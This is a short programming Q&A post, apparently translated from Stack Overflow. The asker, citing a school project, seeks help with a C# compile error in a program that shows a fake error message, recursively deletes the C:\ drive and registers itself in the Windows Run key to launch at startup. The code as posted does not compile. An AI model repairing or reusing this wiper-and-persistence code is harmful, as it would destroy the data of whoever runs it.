【发布时间】:2012-02-21 19:22:53
【问题描述】:
我正在尝试创建一个在启动时删除用户文档的应用程序(我知道这听起来可能是恶意的,但它是针对学校项目的)。
但是,我收到错误消息“命名空间不能直接包含字段或方法等成员”。
看了一下,好像没问题?我希望第二双眼睛能提供帮助,因为我到处搜索,但找不到相关的解决方案!
诚然,由于我的知识非常基础,我在网上和书本上使用了很多帮助,而我对 c# 的了解有限。因此,可能只是我很愚蠢,但每个人都必须从某个地方开始,对吧?
代码如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
【问题讨论】:
-
回滚了修复格式的编辑,因为缺少格式实际上是问题的一部分。如果 OP 的代码一开始就被正确格式化,他们可能已经注意到了这个问题 - 所以改变问题以假装它已经 是 格式化隐藏了一个重大问题。
标签: c# methods namespaces field